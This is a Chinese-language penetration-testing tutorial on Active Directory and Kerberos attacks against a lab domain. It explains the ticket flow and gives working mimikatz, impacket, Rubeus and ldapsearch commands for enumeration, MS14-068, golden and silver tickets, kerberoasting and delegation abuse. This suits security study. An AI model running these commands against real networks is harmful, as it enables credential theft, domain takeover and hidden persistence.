Kerberos Security
域方面的安全,迴歸到本質,大多情況下就是Kerberos協議的安全,只有深入掌握Kerberos,才可以站在不同的角度去進行TTP,抓住對方薄弱之處。
About Active Directory
Active Directory:是微軟Windows Server中,負責網路遊戲架構中大型網路環境的集中式目錄管理Service(Directory Services),在Windows 2000 Server開始內置於Windows Server產品中,主要用於域網路中。
- 在AD裡面,一切皆物件,比如:計算機,使用者,使用者組,相關策略等
- 有AD域Service,即Active Directory Domain Services
- 依賴不同的協議進行使用者認證,資源查詢,管理,訪問控制等等
- 提供各種Service
Active Directory的實體結構
DNS
活動目錄極度依賴DNS,因為DNS可以讓AD表現出層次結構化的樹狀結構,同時也可以和開放的目錄標準接軌,因此在搭建域時時,DNSService(或另有架設DNS Server)一定要存在於網路或該網域控制站中,不單單是資源查詢需要DNS,客戶端請求DC時同樣需要它,通過SRV記錄識別。
LDAP
Lightweight Directory Access Protocol:輕量級目錄訪問協議,是一個開放的,中立的,工業標準的應用協議,通過IP協議提供訪問控制和維護分散式資訊的目錄資訊。
有時我們拿到的server可能就是LDAPService器,裡面可能有很多我們目標的資訊,下面會詳細介紹。
Kerberos
Kerberos是一種計算機網路認證協議,它允許某實體在非安全網路環境下通訊,向另一個實體以一種安全的方式證明自己的身份。它也指由麻省理工實現此協議,併發布的一套免費軟體。它的設計主要針對客戶-Service器模型,並提供了一系列互動認證——使用者和Service器都能驗證對方的身份。Kerberos協議可以保護網路實體免受竊聽和重複攻擊。
Kerberos協議基於對稱密碼學,並需要一個值得信賴的第三方。Kerberos協議的擴充套件可以為認證的某些階段提供公鑰密碼學支援。
NetBIOS
Network Basic Input/Output System,它提供了OSI模型中的會話層Service,讓在不同計算機上執行的不同程式,可以在區域網中,互相連線,以及分享資料,相當於一個API
MS-RPC
Microsoft RPC:遠端呼叫,可以更加快速的構造出客戶端/Service端模型,像Windows Server的域協議完全是基於MS-RPC,以及DNS管理工具和Microsoft Exchange Server。
NTLM認證
NTLM是NT LAN Manager的縮寫,即NT LAN管理器,NTLM 是 Windows NT 早期版本的標準安全協議。
AD協議的應用
DNS
• dig
dig evilwing.me
• nslookup
nslookup evilwing.me
MS-RPC
- Samba
Samba,是種用來讓UNIX系列的作業系統與微軟Windows作業系統的SMB/CIFS(Server Message Block/Common Internet File System)網路協議做連結的自由軟體。 - 強大的Impacket網路工具包
- smbserver.py
LDAP
- smbserver.py
- openLDAP
OpenLDAP 是 LDAP 協議的一個開源實現。LDAP Service器本質上是一個為只讀訪問而優化的非關係型資料庫。它主要用做地址簿查詢(如 email 客戶端)或對各種Service訪問做後臺認證以及使用者資料許可權管控。(例如,訪問 Samba 時,LDAP 可以起到域控制器的作用;或者 Linux 系統認證時代替/etc/passwd的作用。) - ldapsearch
Kerberos
- Kerberos由麻省理工學院建立,作為解決這些網路安全問題的解決方案。
通過DNS去發現AD
SRV記錄是Service器資源記錄的縮寫,記錄Service器提供的Service,SRV記錄的作用是說明一個Service器能夠提供什麼樣的Service。
- _gc._tcp – 全域性目錄
- _ldap._tcp – ldap Service器
- _kerberos._tcp – KDC
- _kpasswd._tcp – Kerberos 密碼變更Service
nmap查詢:
nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"

tips:加一個DNS,為DC的IP,這樣就可以在MAC本機上查詢出來。

埠掃描:
發現53埠和389埠同時開啟就有可能是DC。
定位域控的話,其他熟悉的方法有:
- net time /domain
- nslookup
- nltest /dclist:domainname
- and so on
MS-RPC
MSRPC通訊過程
net user /domain
wireshark抓包分析
首先向DC請求SMB連線,然後請求$IPC共享

建立SMBR檔案,bind SAMR。

最後執行使用者列表請求

基於MS-RPC實現的Tools
個人覺得Kali下面,啊D最好用,不對,Impacket最好用。
-
https://github.com/CoreSecurity
/impacket
工具方面我就不過多介紹,大家都知道怎麼用,它是一把windows網路中瑞士軍刀。
提權以後,下一步可能就會進行橫向滲透
- DCOM
- Psexec
- WMIC
- Wmiexec
- Smbexec
- Powershell remoting
- AT
以上手法都是基於MS-RPC協議。
LDAP
- LDAP是AD中的輕量級的目錄訪問控制協議
- DC中一般會開放三個埠
- 389-LDAP
- 636-LDAPS
- LDAP全域性目錄
LDAP 資料的組織方式:

- CN:Common name
- DC:域的組成
- OU:組織單元
例如
通過ldap和我們在目標上收集的憑據我們可以進行ldap查詢。
這裡推薦使用ldapsearch。
使用方法: https://blog.51cto.com/koala003/1663662
查詢所有的使用者
ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒"-b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName userPrincipalName memberOf | tee domain_users.lst
域內的計算機
ldapsearch -LLL -x -H ldap://pentestlab.com -D "[email protected]" -w "小Wing最棒"-b dc=pentestlab,dc=com "(objectClass=computer)"
想要視覺化?
Ldap Admin Tool

連線的物件可以像我們前面使用ldapsearh那樣進行過濾。

Windows下有ldapadministrator
LDAP的資訊列舉可以作為橫向滲透前的一個重要步驟。
Kerberos
Kerberos認證過程
記得上學期期末考試考到過這個,當時剛好看了傾旋老哥的文章,所以還是掛了。

Kerberos除了代表是網路授權協議之外,也代表麻省理工學院為這個協議開發的一套計算機軟體。
Kerberos在古希臘神話中被叫做賽伯拉斯,是負責看守冥界入口的惡犬,即地獄犬,在現代的藝術品中,將它描繪成三個頭的:dog:。
所以可以形象的表示客戶端,KDC,Service端。
前置知識:
- AS(Authentication Server)= 認證Service器
- KDC(Key Distribution Center)= 金鑰分發中心
- TGT(Ticket Granting Ticket)= 票據授權票據,票據的票據
- TGS(Ticket Granting Server)= 票據授權Service器
- SS(Service Server)= 特定Service提供端
在域內,小Wing想要去訪問另一臺計算機小花,它需要經歷:
入場券
辛苦畫的一張簡陋版的圖

然後我發現喵的維基百科有一張比我的好看的

我想在後面通過回顧古老的一個洞來較詳細的介紹kerberos
然後看一下流量包,更直觀一些。
dir\\Pentestlabwin7.pentestlab.com\C$
wireshark
過程如圖

klist檢視我們暫時拿到的快取憑據

這是windows下的kerberos,其實linux下也同樣支援。
apt-get install heimdal-clients
先安裝客戶端

配置KDC,以及SRV
/etc/krb5.conf

配置DNS

然後先請求TGT
這裡建議配兩個網絡卡,保證域的通訊沒問題。
kinit wing
klist
ubuntu的官方文件有指明沒定義的情況下會將TGT換存在tmp目錄

現在有了快取,可以藉助這個去做很多事情。
impacket:
在知道密碼或hash的情況下可以使用smbclient.py去連線,今天看到n1nty師傅的文章將就嘗試了一下。

想要使用kali本身的工具,需要將票據匯入
export KRB5CCNAME=/tmp/krb5_xxx
一開始用kinit生成TGT好像有問題。
所以我最終使用getTGT來實現,最後匯入。
通過rrclient這個遠端rpc工具實現連線。

類似的還有smbclient

psexec.py:使用RemComSvc的PSEXEC類似功能
7KB師傅說你得彈個計算器,我覺得還是彈powershell比較直接。


再配合自動化的CNA指令碼橫向滲透。
impacket-wmiexec.py

像crackmapexec這樣的工具,是基於hash認證的,但是在NTLM認證被關閉的條件下,可以嘗試通過上述的Kerberos方法去執行CMD。
因為我們有目標密碼,所以可以請求TGT,但是密碼改了怎麼辦,怎麼持久化?
後面的部分會繼續講解。
經典回顧-MS14-068
漏洞概述
回到一開始的Kerberos
SServer-Client:資料在Client和Server之間傳送時,資料包肯定得加密,加密的key有一個先決條件就是時間要短,防止被截獲破解,只能在Client和Server只中的一箇中有效,將其稱之為SessionKey(SServer-Client)。
Master Key:雖然DC很:ox::beer:,但是使用者的密碼還是希望只有使用者自己知道,所以認證過程中使用者的密碼要經過hash加密,加密後的code稱之為Master Key。
SKDC-Client:KDC和Client的Session Key(SKDC-Client)
KDC是作為神父級別的見證人,小Wing想要去訪問小花的Server,需要向KDC申請一個SessionKey,但是SessionKey是經過小Wing和小花的密碼分別加密,不容易被盜取。
- Wing這邊發出的是KRB_AS_REQ請求,提供的是經過Wing的密碼加密的一個TimeStamp,應該叫做Authenticator ,理解為一個時間戳加使用者的一些資訊以及TGS的servername,這個請求裡密碼和金鑰都不會發給AS。
- KDC的AS用資料庫查詢Wing這個使用者是否在我的資料庫裡面。在,那麼用使用者密碼的副本去解密,成功之後,AS返回一個Authentication Service Response,即KRB_AS_REP,其中包含了:
- Session Key
- Client name & realm: Domain name\Client
- End time: TGT到期的時間,一般是8小時
- Wing這裡收到響應後,用自己的Master Key對第一部分進行解密,獲得SessionKey
- 下一步就是和TGS打交道了
- Wing向TGS(Ticket Granting Service)傳送一個Ticket Granting Service Request(KRB_TGS_REQ),包含:
- TGT:TGT被KDC的Master Key進行加密。
- Authenticator:為了證明TGT的擁有者是否就是自己,它用TGT的辦法方和自己的Session Key來進行加密,看是否吻合,TGS本身沒有去儲存SessionKey,所以就用自己的MaterKey去解密,從而獲得Logon Session Key(SKDC-Client),再通過這個Logon Session Key(SKDC-Client)解密Authenticator進行驗證。
- Client name & realm
- Server name & realm:就是小花
- REQ OK之後,向Wing返回Ticket Granting Service Response(KRB_TGS_REP),包含:
- Session Key:SServer-Client。
- Client name & realm:
- End time: Ticket的到期時間。
- Wing收到KRB_TGS_REP,使用KDC和Client的Session Key(SKDC-Client)去解密第一部分得到SessionKey,因為Session只能在單點使用哦。
- 有了SessionKey和Ticket,我們就可以直接去勾搭小花,呸,約小花。
那麼Wing和小花之間的認證又是如何呢?
- Wing用Session Key(SServer-Client)加密過的Authenticator和Ticket作為Application Service Request(KRB_AP_REQ)傳送給小花。
- 小花接收到KRB_AP_REQ之後,通過自己的Master Key解密Ticket,從而獲得Session Key(SServer-Client)。再通過Session Key(SServer-Client)去解密Authenticator,驗證對方的身份。假設驗證成功,就讓Wing進屋,否則直接拒之門外。
- 所以沒有小車車(hash)和小房子(hash),小姐姐是會拒絕的。
故事的後續:
就算你有小車車,我怎麼知道你是不是我認識的那個Wing呢。
這麼說有點懵13.
A去訪問B的時候,驗證完成了,我知道你是A,但是你就能訪問我的全部資源了嘛?
而且Kerberos協議也沒有講這個問題,所以微軟爸爸加了PAC機制,即Privilege
Attribute Certificate,特權屬性證書。

具體來說就是要確定域內使用者的許可權,這裡解決的方法就是根據user的SID和group的SID來判斷。
KDC可以告訴B,A的許可權是有限制的,只可以訪問某些資源,通過KRB_AS_REP來指明,裡面有加上PAC的說明。
MS14-068這個洞原理比較長,長話短說:
- 主要是由於第一步的AS-REQ請求並沒有對簽名做指定要求,客戶端用啥我用啥。
- KRB_TGS_REQ返回的資訊當中又沒有PAC,所以客戶端當然可以偽造出PAC
- 然後神奇的KDC竟然允許這個PAC,而且使用指定的演算法進行解密。
- TGS返回帶有PAC的Ticket返回客戶端這裡,此時這張票據是具有高許可權的。
- 更多細節可以通過抓包和原始碼去分析
漏洞復現
linux下:
mv [email protected] /tmp/krb5cc_0
配合smbclient執行命令
windows下:
mimikatz.exe "kerberos::purge" mimikatz.exe "kerberos::ptc [email protected] " exit
Golden Ticket
Golden Ticket就是黃金票據,其實就是一個攻擊者自己偽造的TGT,通過TGS對自己的Golden Ticket的信任,攻擊者就可以去訪問Service, I Am Omnipotent!
需要的條件:
- Domain SID
- Domain name
- 需要krbtgt使用者的hash
- 使用者名稱隨意
Example
通過Mimikatz dump hash
lsadump::dcsync/user:krbtgt
生成Golden Ticket

匯入記憶體:


黃金票據可以很好的隱藏自己,是一種持久化的方式。
n1nty的公眾號昨天發了一篇文章,就是有關於黃金票據的。
title:內網安全運營:你真的鎖定了你的帳號了嗎?
為什麼我將他鎖定了他還能進行其他動作?
- Kerberos的認證過程前面也說清楚了,只認Ticket,而我們可以根據自己的密碼去得到一張Server Ticket。
- 管理員也無法登出Ticket,只能讓他過期,預設是20分鐘。
- 對於TGT,20分鐘後賬戶如果被鎖定,KDC就不會給你Ticket
- 對於ST,我已經不需要KDC了,只需要拿著這個ST去訪問Service即可。
- ST會在10小時過期
- 所以在安全排查的時候需要注意是不是已經被持久控住了。
Silver Tickets
Silver Tickets是銀票,在介紹Golden Ticket時,末尾的彩蛋就是一個Silver Tickets—-偽造的ST。銀票只能訪問指定Service,我不覺得這是一個缺點,反而覺得是一個優點,正如前文,根本不好排查,我沒和KDC通訊,日誌那裡查不到。
銀票的生成也很簡單,不需要krbtgt的密碼,但需要目標Service賬戶的hash。
mimikatz "kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername/Service:Service型別 /rc4:hash /user:wing /ptt" exit
Crack
SPN
SPN全稱是ServicePrincipal Names,Service主體名稱。
在域裡面我們希望域內的Service經過kerberos驗證。

spn讓每一個Service與對應的Service賬號相關聯起來。
其次就是SPN掃描比較隱蔽,不用去連線每一個IP的埠來判斷Service,而是通過ldap進行查詢,這本身就是一個正常的操作,日誌裡面去分析比較頭疼。
需要先手動註冊

SPN掃描
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

閱讀原始碼

如前所說,通過LDAP進行查詢。
Crack TGS Tickets
SPN掃描完成以後,請求TGT

檢視本地的TGT

匯出使用tgsrepcrack離線破解

也可以用
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 10.10.0.2 Pentestlab.com/wing
得到hash,使用hashcat破解。
Kerberos委派攻擊
What is Delegation?
正常情況下我想要去訪問IISService,與此同時,可能還需要IISService去請求資料庫Service,查詢相關資訊,但是IISService這裡它不清楚Wing這個使用者有沒有許可權去訪問SqlServer,這時候就需要向DC去驗證。
Wing先去訪問IIS server,IISserver去跟KDC申請Ticket,KDC這時候檢查IIS Server是否有委派屬性,如果存在,那麼就返回給Wing這個使用者的TGT,IIS Server收到後,跟TGS
申請ST,IIS Server就可以拿ST去訪問對應的Service。
非約束委派(Unconstraineddelegation)

圖比較直觀,使用者從KDC拿到對應的TGT之後,傳送給Service1,請求了兩次TGT,Service1請求了一次ST,也就是1-6步。
然後Service1用使用者的TGT2去請求ST2,也就是對應的Service2的ST,。
Service1可以一直重複的去訪問其他Service。
這個過程稱為 非約束委派,Unconstraineddelegation。
非約束委派安全測試
通過PowerView查詢域中配置非約束委派的主機和使用者:
Get-NetComputer -Unconstrained Get-NetUser -Unconstrained
然後在MSSQL這臺機器上去匯出通訊時產生的TGT,會存在記憶體裡。
privilege::debug sekurlsa::tickets /export


這個就是域控的TGT。
直接進行ptt攻擊


GetDC

約束委派(Constrained delegation)
微軟為了增強安全性,防止不安全的委派發生,限制Service1代表Wing去訪問Service。
並且加入了S4U2Self和S4U2Proxy協議擴充套件。
- S4U2Self:Service for User to Self
- S4U2Proxy:Service forUser to Proxy
- 使用者向Service1發出一個請求,使用者已經經過了身份驗證但Service1拿不到使用者的TGT。
- 文件說的是在這個步驟之前,Service1就向KDC申請到了拿到了TGT,並通過 S4U2self 擴充套件請求ST。
- KDC返回ST,這一步Service1就代表使用者拿到TGS和ST,雖然S4U2self向Service1提供有關使用者的資訊,但此擴充套件不允許Service1代表使用者請求其他Service。這就是S4U2proxy的作用。
- 響應給使用者
- 使用者再次請求,使用者向Service1發出請求。Service1需要以使用者身份訪問Service2上的資源。但是,Service1沒有來自使用者的轉發TGT以通過轉發的TGT執行委派,如圖中所述,需要指定具有轉發的TGT的Kerberos委派。具有這兩個前提條件,才可以進行此步驟。首先,Service1已經通過KDC驗證並具有有效的TGT。其次,Service1具有從使用者到Service1的可轉發ST。該可轉發ST可能是通過KRB_AP_REQ訊息獲得的,如[RFC4120]第3.2節或S4U2self請求中規定的。
- Service1代表指定使用者向Service2請求Service票證。使用者由Service1的Service票證中的客戶端名稱和客戶端域專屬標識。要返回的票證中的授權資料也將從Service票證中複製。
- 如果請求中有特權屬性證書(PAC),則KDC通過檢查PAC結構的簽名資料來驗證PAC,參閱[MS-PAC]第2.8節。如果PAC有效或不存在,KDC將返回Service2的ST,但儲存在ST的cname和crealm欄位中的客戶端專屬標識是使用者的,而不是Service1的。
- Service1使用ST向Service2發出請求。Service2將此請求視為來自使用者,並假定使用者已經由KDC進行身份驗證。
- Service2響應請求。
- Service1響應使用者對訊息5的請求。
簡單來說呢:
- S4U2proxy擴充套件的作用是不允許Service1代表使用者請求其他Service
- S4U2Self擴充套件的作用是檢查使用者的合法性
約束委派安全測試
用PowerView查詢域內開啟約束委派的使用者
Get-DomainUser –TrustedToAuth
- 使用Rebeus拿到TGT:Rebeus是kekeo的後續版本,羨慕一次編譯通過的師傅。
Rubeus.exe asktgt /user:mssql /password:Pentestlab@1314
或者直接一步請求
C:\Users\flowing\Desktop\Wing>Rubeus.exe s4u/impersonateuser:redteam /user: F046 /domain:pentestlab.com /msdsspn:cifs/mssql.pentestlab.com /ptt
ptt的意思是直接匯入記憶體,不需要管理員許可權。
C:\Users\flowing\Desktop\Wing\>Rubeus.exe s4u /user:wing /rc4:xxxxxxxx /impersonateuser:administrator/msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt _______ (_____ \| | _____) )__| |_______ _____ |__/| | | |_ \| ___ | | | |/___) | |\ \| |_| | |_) ) ____| |_| |___ | |_||_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Ask TGT ... ... ... [*] Action: Import Ticket [+] Ticket successfully imported!
這裡的偽造的使用者名稱必須是域內已經有的,比如adminstrator。
所以這裡本機的這個使用者是偽造成其他使用者去從獲取TGS。
驗證:

實際場景當中,可以結合ntlmrelay去進行。:wink::wink::wink:
其他像雜湊傳遞的技術使用cobaltstrike批量即可。